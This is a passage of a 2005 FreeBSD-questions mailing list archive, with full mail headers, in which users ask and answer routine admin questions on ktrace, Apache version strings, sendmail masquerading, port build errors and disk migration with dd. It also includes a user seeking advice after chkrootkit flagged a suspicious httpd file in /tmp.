Probably. But I just configure the server to send them an image that > they really don't want to see takeittux.png :-) Ted From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 12:00:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EE04216A4CE for ; Tue, 8 Feb 2005 12:00:08 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8242B43D31 for ; Tue, 8 Feb 2005 11:59:54 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j18BxYGf000336 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 8 Feb 2005 03:59:34 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j18BxTbO000334 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 03:59:29 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Tue, 8 Feb 2005 03:59:28 -0800 From: "Loren M. Lang" To: FreeBSD Mailing list Message-ID: <20050208115928.GE8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C Subject: ktrace as a replacement for strace X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 12:00:09 -0000 I'm looking for a replacement for the strace program I used to use on linux; freebsd has a port of strace, but it just hangs everytime I use it. It looks like the bsd version of strace would be ktrace/kdump. I was able to get these to print a trace of the program I ran, but it doesn't do all the nice substatuting that strace was able to do. Mainly, I just want the first argument of open to look like a string instead of a 32 bit pointer that I can't read. I'm trying to figure out what files this program is trying to read so I can edit it's configuration file. -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 12:01:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7D97016A4CE for ; Tue, 8 Feb 2005 12:01:37 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 344EE43D2D for ; Tue, 8 Feb 2005 12:01:37 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (unknown [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id E12541C000A1 for ; Tue, 8 Feb 2005 13:01:35 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id BF7811C00085 for ; Tue, 8 Feb 2005 13:01:35 +0100 (CET) X-ME-UUID: 20050208120135784.BF7811C00085@mwinf1108.wanadoo.fr Date: Tue, 8 Feb 2005 13:01:35 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <11610732417.20050208130135@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: References: <810a540e0502071359355a641d@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Change Apache version string X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 12:01:37 -0000 Pat Maddox writes: > I've got mod_php installed as well as mod_jk, so whenever there's a > 404 Apache displays > Apache/2.0.52 (FreeBSD) PHP/4.3.10 mod_jk/1.2.6 > > I'm not sure if I'm being overly paranoid, but I don't really like the > fact that all that info gets displayed. Is there any way I can change > Apache's version string, like I can with any ftp or smtp daemon? Within limits, you can change it with the ServerTokens directive in the configuration. To get the bare minimum (just "Apache"), use ServerTokens Prod You might also set ServerSignature Off Which prevents Apache from putting its version at the end of any pages it generates itself (missing page errors, directory listings, etc.). -- Anthony From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 12:40:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EE79D16A4CE for ; Tue, 8 Feb 2005 12:40:16 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6312943D1D for ; Tue, 8 Feb 2005 12:40:16 +0000 (GMT) (envelope-from elfari@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so890913wri for ; Tue, 08 Feb 2005 04:40:14 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=NmV/yH7fLRc2SeoVT2KhEFPQVCpU7wO2IhtYQ3rGIR/DuOPoZEbtNajy/vFqYYcX2RpbHHWYN2RSq0DKYxYTssyRxAKvZeUgoIr9v2SI+wqIy5sVCSuzvkSMotUP5MbHf4kuH8Eb7rWhD5A/7yBICs2econQrWbUSB1hDcB/xds= Received: by 10.54.28.80 with SMTP id b80mr360335wrb; Tue, 08 Feb 2005 04:40:14 -0800 (PST) Received: by 10.54.4.39 with HTTP; Tue, 8 Feb 2005 04:40:14 -0800 (PST) Message-ID: <7d40cc0a05020804402d379390@mail.gmail.com> Date: Tue, 8 Feb 2005 12:40:14 +0000 From: Elfar Ingvarsson To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Gettext wont install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Elfar Ingvarsson List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 12:40:17 -0000 I'm getting this error while trying to reinstall gettext port version 0.14.1 This is the error I'm getting Making install in lib Making install in libasprintf mkdir -p -- . /usr/local/lib /bin/sh /usr/local/bin/libtool15 --mode=install /usr/bin/install -c -o root -g wheel libasprintf.la /usr/local/lib/libasprintf.la /usr/bin/install -c -o root -g wheel .libs/libasprintf.so.0 /usr/local/lib/libasprintf.so.0 install: .libs/libasprintf.so.0: No such file or directory *** Error code 71 Stop in /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime/libasprintf. *** Error code 1 Stop in /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime/libasprintf. *** Error code 1 Stop in /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime. *** Error code 1 Stop in /usr/ports/devel/gettext/work/gettext-0.14.1. *** Error code 1 Stop in /usr/ports/devel/gettext. Im running FreeBSD 5.3-STABLE FreeBSD 5.3-STABLE #0: Sun Jan 30 16:28:03 GMT 2005 any hints would be appreciated elfar PS: please cc me, I'm not on the list From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 12:43:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1E1B216A4CE for ; Tue, 8 Feb 2005 12:43:01 +0000 (GMT) Received: from ei.bzerk.org (ei.xs4all.nl [213.84.67.5]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3B87643D39 for ; Tue, 8 Feb 2005 12:43:00 +0000 (GMT) (envelope-from mail25@bzerk.org) Received: from ei.bzerk.org (BOFH@localhost [127.0.0.1]) by ei.bzerk.org (8.13.1/8.13.1) with ESMTP id j18ClF4g076144; Tue, 8 Feb 2005 13:47:15 +0100 (CET) (envelope-from mail25@bzerk.org) Received: (from bulk@localhost) by ei.bzerk.org (8.13.1/8.13.1/Submit) id j18ClFY9076143; Tue, 8 Feb 2005 13:47:15 +0100 (CET) (envelope-from mail25@bzerk.org) Date: Tue, 8 Feb 2005 13:47:15 +0100 From: Ruben de Groot To: Ted Mittelstaedt Message-ID: <20050208124715.GA75895@ei.bzerk.org> Mail-Followup-To: Ruben de Groot , Ted Mittelstaedt , Ian Moore , freebsd-questions@freebsd.org References: <20050207145431.GA22794@ei.bzerk.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-Spam-Status: No, score=-2.3 required=5.0 tests=ALL_TRUSTED, FROM_ENDS_IN_NUMS autolearn=failed version=3.0.1 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on ei.bzerk.org cc: Ian Moore cc: freebsd-questions@freebsd.org Subject: Re: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 12:43:01 -0000 On Tue, Feb 08, 2005 at 03:05:21AM -0800, Ted Mittelstaedt typed: > > > > -----Original Message----- > > From: Ruben de Groot [mailto:mail25@bzerk.org] > > Sent: Monday, February 07, 2005 6:55 AM > > To: Ted Mittelstaedt > > Cc: Ian Moore; freebsd-questions@freebsd.org > > Subject: Re: Sendmail masquerading configuration > > > > > > On Sun, Feb 06, 2005 at 02:28:17AM -0800, Ted Mittelstaedt typed: > > > > > > > > > > -----Original Message----- > > > > From: owner-freebsd-questions@freebsd.org > > > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Ian Moore > > > > Sent: Sunday, February 06, 2005 2:07 AM > > > > To: freebsd-questions@freebsd.org > > > > Subject: Sendmail masquerading configuration > > > > > > > > > > > > Hi, > > > > I'm hoping someone can help me with this. > > > > > > > > I want to make sendmail (on a 5.3-Release server) leave the > > > > host name out of > > > > the sender address when sending mail from that machine. > > > > I.E. mail from root currently has a sender address of > > > > root@myhost.foo.bar, I > > > > want it to be root@foo.bar instead. > > > > > > > > > > Not possible, I think, as I recall masquerading only works on > > > users not in the T macro. (ie: Trusted Users) root is > > > most definitely in this macro. > > > > Actually, I believe it's the EXPOSED_USERS macro, and it can be > > adjusted; e.g. in sendmail.cf: > > > > C{E}root > > > > just remove the root user from this line. In conjunction with a > > MASQUERADE_AS macro, this will allow root to send email coming from > > your domain without your hostname. > > If you do this then lots of messages generated by the system will > suddenly start generating (at best): > > X-Authentication-Warning: myhost.foo.bar: root set sender to > someuser using -f Sorry, but this simply isn't true. I have just tested this. Warnings like this might get generated when you remove root from the TRUSTED_USERS macro; *NOT* when you remove it from EXPOSED_USERS. > It also makes it harder to troubleshoot when someone external to > your system is sending bogus junk to you. I agree. As I said in the part of my message you snipped: "BTW, I agree that masquerading is NOT the proper way to do these things." > And while it's not applicable now, with older versions of sendmail > this would definitely break all your scripts that used e-mail. > > Use of the -f flag is what he needs to do. Fine. But the OP's problem concerned mail send by cron. How would you instruct cron to use the -f flag? (There's a MAILTO environment variable in cron, but no MAILFROM) Ruben From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 13:06:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CDAA416A4CF for ; Tue, 8 Feb 2005 13:06:00 +0000 (GMT) Received: from via.mailbox.hu (netfinity2.mailbox.hu [195.70.35.152]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1CF9743D5A for ; Tue, 8 Feb 2005 13:06:00 +0000 (GMT) (envelope-from ricsip@mailbox.hu) Received: from via.mailbox.hu (web1.mailbox.hu [10.70.35.72]) by via.mailbox.hu (Postfix) with ESMTP id 366AC3A2072 for ; Tue, 8 Feb 2005 14:05:11 +0100 (CET) Received: from web2.mailbox.hu (unknown [10.0.0.3]) by via.mailbox.hu (Postfix) with ESMTP id 1E8203A1ED9 for ; Tue, 8 Feb 2005 14:05:11 +0100 (CET) Received: from nobody by web2.mailbox.hu with local (Exim 3.35 #1 (Debian)) id 1CyVCM-0005sw-00 for ; Tue, 08 Feb 2005 14:14:34 +0100 Received: from [81.182.13.36] by web1.mailbox.hu via HTTP; Tue, 08 Feb 2005 14:14:34 +0100 From: =?iso-8859-2?B?IlDhc3p0b3IgUmljaOFyZCIg?= Date: Tue, 08 Feb 2005 14:14:34 +0100 To: freebsd-questions@freebsd.org X-Mailer: Postino MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-2 Content-Transfer-Encoding: quoted-printable Message-Id: X-Virus-Scanned: ClamAV using ClamSMTP Subject: Sysinstall problem with network settings X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 13:06:00 -0000 I installed 4.11 Release recently. If i configure my network with sysinstall during the install procedure, everythin works fine. But if i skip network config, and want to do it after finishing setup, sysintall doesnt save my settings. I setup hostname, ip address, gateway, dns etc. then it asks for bringing up the interface. I choose yes, and i see a packet sent out from my machine to the switch. But after quitting sysintall, and typing "ifconfig tx0" it seems nothing has changed (no ip, interface is not UP). Could it be a bug? As i can remember, the same happened with 4.10. Thx! ricsip From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 13:08:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id EABEF16A4CE for ; Tue, 8 Feb 2005 13:08:37 +0000 (GMT) Received: from xenial.mcc.ac.uk (xenial.mcc.ac.uk [130.88.203.16]) by mx1.FreeBSD.org (Postfix) with ESMTP id 31FB143D58 for ; Tue, 8 Feb 2005 13:08:37 +0000 (GMT) (envelope-from jcm@FreeBSD-uk.eu.org) Received: from dogma.freebsd-uk.eu.org ([130.88.200.97]) by xenial.mcc.ac.uk with esmtp (Exim 4.43 (FreeBSD)) id 1CyV6a-000O7b-1w; Tue, 08 Feb 2005 13:08:36 +0000 Received: from dogma.freebsd-uk.eu.org (localhost [127.0.0.1]) j18D8Vax049208; Tue, 8 Feb 2005 13:08:32 GMT (envelope-from jcm@dogma.freebsd-uk.eu.org) Received: (from jcm@localhost) by dogma.freebsd-uk.eu.org (8.13.1/8.12.6/Submit) id j18D8VcF049207; Tue, 8 Feb 2005 13:08:31 GMT Date: Tue, 8 Feb 2005 13:08:30 +0000 From: Jonathon McKitrick To: Giorgos Keramidas Message-ID: <20050208130830.GA48641@dogma.freebsd-uk.eu.org> References: <20050205142225.GA11546@dogma.freebsd-uk.eu.org> <44u0oqylar.fsf@be-well.ilk.org> <20050205172727.GA26430@dogma.freebsd-uk.eu.org> <20050208045303.GA24803@igloo.linux.gr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050208045303.GA24803@igloo.linux.gr> User-Agent: Mutt/1.4i cc: freebsd-questions@freebsd.org Subject: Re: Example BSD Makefiles *outside* the src tree?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 13:08:38 -0000 On Tue, Feb 08, 2005 at 06:53:03AM +0200, Giorgos Keramidas wrote: : : .include Here is my scenario: I'm setting up the source tree and learning make on BSD. Once I'm comfortable with the build process, I have to move the code to a RH Linux box. I would like the makefiles to run with as little modification as possible, but I'm not sure how realistic that is. : I don't use gmake if I can avoid it. Someone else should chime in : with gmake help, if they want. Someone commented that pmake or bsd make doesn't run well under Solaris, so they use gmake with a dumbed-down makefile. I think that's what I need to do. Jonathon -- The beaten path is for the beaten man. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 13:08:48 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9841616A4F3 for ; Tue, 8 Feb 2005 13:08:48 +0000 (GMT) Received: from dexter.starfire.mn.org (starfire.skypoint.net [66.93.17.236]) by mx1.FreeBSD.org (Postfix) with ESMTP id B4B9243D2D for ; Tue, 8 Feb 2005 13:08:47 +0000 (GMT) (envelope-from john@dexter.starfire.mn.org) Received: (from john@localhost) by dexter.starfire.mn.org (8.11.3/8.11.3) id j18D8kS13979 for freebsd-questions@freebsd.org; Tue, 8 Feb 2005 07:08:46 -0600 (CST) (envelope-from john) Date: Tue, 8 Feb 2005 07:08:46 -0600 From: John To: freebsd-questions@freebsd.org Message-ID: <20050208070846.A13935@starfire.mn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Subject: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 13:08:48 -0000 OK - I've finally come to the realization (a little slow, I know) that a 5.8Gb disk drive is just not enough to support a desktop environment (including JAVA) for both Windows XP and FreeBSD on my laptop. :( I have used dump(8) to dump out my filesystems. I am wondering if I can just use "dd" to dump out all of /dev/ad0s1 also, and then use "dd" to put it back again when I'm done. Then I'd boot the installation CD into "fixit" mode, build a new MBR, make sure that the new s1 was the same or very slightly larger than the old s1, and use dd to put it back again. Can anyone speak to either the "doomed to failure" or "I've done this and it works" scenarios? Thanks. BTW, just out of curiosity, does anyone know off the top of their heads where dump(8) puts the snapshot name when used with the L option? I assumed it would be in the .snap directory, but when I did an "ls -la" of /home/.snap while it was running, there was nothing there. I suppose it could remove the snap after it builds the map of what diskblocks to back up, but that could still lead to "fuzzy" backups. -- John Lind john@starfire.MN.ORG From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 13:18:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5A77316A4CE for ; Tue, 8 Feb 2005 13:18:06 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id CE0AA43D5A for ; Tue, 8 Feb 2005 13:18:05 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [10.10.11.16] (unknown [131.175.54.146]) by top.daemonsecurity.com (Postfix) with ESMTP id DE610FD01F; Tue, 8 Feb 2005 14:18:02 +0100 (CET) Message-ID: <4208BC04.9010204@locolomo.org> Date: Tue, 08 Feb 2005 14:17:56 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: John References: <20050208070846.A13935@starfire.mn.org> In-Reply-To: <20050208070846.A13935@starfire.mn.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Using FreeBSD to migrate Windows XP? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 13:18:06 -0000 John wrote: > OK - I've finally come to the realization (a little slow, I know) > that a 5.8Gb disk drive is just not enough to support a desktop > environment (including JAVA) for both Windows XP and FreeBSD on my > laptop. :( > > I have used dump(8) to dump out my filesystems. I am wondering > if I can just use "dd" to dump out all of /dev/ad0s1 also, > and then use "dd" to put it back again when I'm done. Then > I'd boot the installation CD into "fixit" mode, build a new > MBR, make sure that the new s1 was the same or very slightly larger > than the old s1, and use dd to put it back again. Can anyone > speak to either the "doomed to failure" or "I've done this and > it works" scenarios? Not doomed, but don't expect to read data on other than FBSD systems. This is described in the handbook under using removable media (CD/DVD) for backups. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 13:35:53 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7627516A4CE for ; Tue, 8 Feb 2005 13:35:53 +0000 (GMT) Received: from casbah.it.northwestern.edu (casbah.it.northwestern.edu [129.105.16.52]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0A39043D3F for ; Tue, 8 Feb 2005 13:35:53 +0000 (GMT) (envelope-from bret-walker@northwestern.edu) Received: (from mailnull@localhost) by casbah.it.northwestern.edu (8.12.10/8.12.10) id j18DZqRY000913; Tue, 8 Feb 2005 07:35:52 -0600 (CST) Received: from medillbwpc (medill-bwpc.medill.northwestern.edu [129.105.51.23]) by casbah.it.northwestern.edu via smap (V2.0) id xma000655; Tue, 8 Feb 05 07:35:41 -0600 From: "Bret Walker" To: Date: Tue, 8 Feb 2005 07:35:41 -0600 Message-ID: <014901c50de3$15518b10$17336981@medill.northwestern.edu> MIME-Version: 1.0 X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 Content-Type: multipart/signed; micalg=SHA1; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_0145_01C50DB0.CA129DB0" Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 Subject: httpd in /tmp - Sound advice sought X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 13:35:53 -0000 This is a multi-part message in MIME format. ------=_NextPart_000_0145_01C50DB0.CA129DB0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Last night, I ran chkrootkit and it gave me a warning about being infected with Slapper. Slapper exploits vulnerabilities in OpenSSL up to version 0.96d or older on Linux systems. I have only run 0.97d. The file that set chkrootkit off was httpd which was located in /tmp. /tmp is always mounted rw, noexec. I update my packages (which are installed via ports) any time there is a security update. I'm running Apache 1.3.33/PHP 4.3.10/mod_ssl 2.8.22/OpenSSL 0.97d on 4.10. Register_globals was on in PHP for a couple of weeks, but the only code that required it to be on was in a .htaccess/SSL password protected directory. Tripwire didn't show anything that I noted as odd. I reexamined the tripwire logs, which are e-mailed to an account off of the machine immediately after completion, and I don't see anything odd for the 3/4 days before or after the date on the file. (I don't scan /tmp) I stupidly deleted the httpd file from /tmp, which was smaller than the actual apache httpd. And I don't back up /tmp. The only info I can find regarding this file being in /tmp pertains to Slapper. Could something have copied a file there? Could I have done it by mistake at some point - the server's been up ~60 days, plenty of time for me to forget something? This is production box that I very much want to keep up, so I'm seeking some sound advice. Does this box need to be rebuilt? How could a file get written to /tmp, and is it an issue since it couldn't be executed? I run tripwire nightly, and haven't seen anything odd to the best of my recollection. I also check ipfstat -t frequently to see if any odd connections are happening. I appreciate any sound advice on this matter. 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Tue, 8 Feb 2005 14:00:47 +0000 (GMT) Received: from one.valcatohosting.com (one.valcatohosting.com [67.19.219.34]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1AECF43D41 for ; Tue, 8 Feb 2005 14:00:47 +0000 (GMT) (envelope-from adam@moosoft.net) Received: from cpc3-nthc1-4-0-cust42.nrth.cable.ntl.com ([213.107.150.42] helo=[192.168.1.202]) by one.valcatohosting.com with esmtpa (Exim 4.43) id 1CyVuu-0003pq-Se; Tue, 08 Feb 2005 14:00:38 +0000 In-Reply-To: <20050208105203.O85721@maren.thelosingend.net> References: <200502051745.25937.hindrich@worldchat.com> <20050207091209.D71459@maren.thelosingend.net> <20050207195715.GE82997@keyslapper.net> <20050208105203.O85721@maren.thelosingend.net> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Adam McMaster Date: Tue, 8 Feb 2005 14:00:42 +0000 To: questions@freebsd.org X-Mailer: Apple Mail (2.619.2) X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - one.valcatohosting.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [47 12] X-AntiAbuse: Sender Address Domain - moosoft.net X-Source: X-Source-Args: X-Source-Dir: Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:00:47 -0000 On 8 Feb 2005, at 10:12, Svein Halvor Halvorsen wrote: > In this setup, you need to warm up your house somehow. Since *all* > energy > in the end turns to thermic energy (elementary physics), the route this > energy takes from moving electrons to heats is of little interest (when > you're just looking to heat up your house). It's not really the case that all the energy becomes heat, since the computer also has moving parts and generates sound (a *lot* of sound if it's anything like mine). Most of the energy going into a computer probably does become heat in the end, but certainly not all of it. Because of this it might be better to get a more efficient heater, but in the end it probably doesn't make a noticeable difference either way. -- - Adam McMaster From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 14:04:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1D6CA16A4CF for ; Tue, 8 Feb 2005 14:04:25 +0000 (GMT) Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4BDB043D69 for ; Tue, 8 Feb 2005 14:04:24 +0000 (GMT) (envelope-from svein-freebsd-questions@theloosingend.net) Received: from localhost (localhost [127.0.0.1]) by royk.itea.ntnu.no (Postfix) with ESMTP id 2996666E12 for ; Tue, 8 Feb 2005 15:04:23 +0100 (CET) Received: from maren.thelosingend.net (m190d.studby.ntnu.no [129.241.131.190]) by royk.itea.ntnu.no (Postfix) with SMTP for ; Tue, 8 Feb 2005 15:04:22 +0100 (CET) Received: (qmail 88768 invoked by uid 1001); 8 Feb 2005 14:04:22 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 8 Feb 2005 14:04:22 -0000 Date: Tue, 8 Feb 2005 15:04:22 +0100 (CET) From: Svein Halvor Halvorsen X-X-Sender: sveinhal@maren.thelosingend.net To: Adam McMaster In-Reply-To: Message-ID: <20050208150234.D88691@maren.thelosingend.net> References: <200502051745.25937.hindrich@worldchat.com> <20050207195715.GE82997@keyslapper.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no. cc: questions@freebsd.org Subject: Re: Electricity bill [was: Re: Leaving a Computer Running ?] X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Feb 2005 14:04:25 -0000 * Adam McMaster [2005-02-08 14:00 -0000] > It's not really the case that all the energy becomes heat, since the > computer also has moving parts and generates sound (a *lot* of sound if > it's anything like mine). Most of the energy going into a computer > probably does become heat in the end, but certainly not all of it. > Because of this it might be better to get a more efficient heater, but > in the end it probably doesn't make a noticeable difference either way. The sound will also end up as heat in the end. The same goes for light. Hence my "disclaimer" in the end, stating that you need a sound and light insulated house. However, I think there are very little energy in the sound and light of a computer, relatively speaking. From owner-freebsd-questions@FreeBSD.ORG Tue Feb 8 14:10:04 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DEC4E16A4CE for ; Tue, 8 Feb 2005 14:10:04 +0000 (GMT) Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230]) by mx1.FreeBSD.org (Postfix) with ESMTP id 898D143D2D for ; Tue, 8 Feb 2005 14:10:04 +0000 (GMT) (envelope-from svein-freebsd-questions@theloosingend.net) Received: from localhost (localhost [127.0.0.1]) by royk.itea.ntnu.no (Postfix) with ESMTP id CCCB366CD7 for ; Tue, 8 Feb 2005 15:10:03 +0100 (CET) Received: from maren.thelosingend.net (m190d.studby.ntnu.no [129.241.131.190]) by 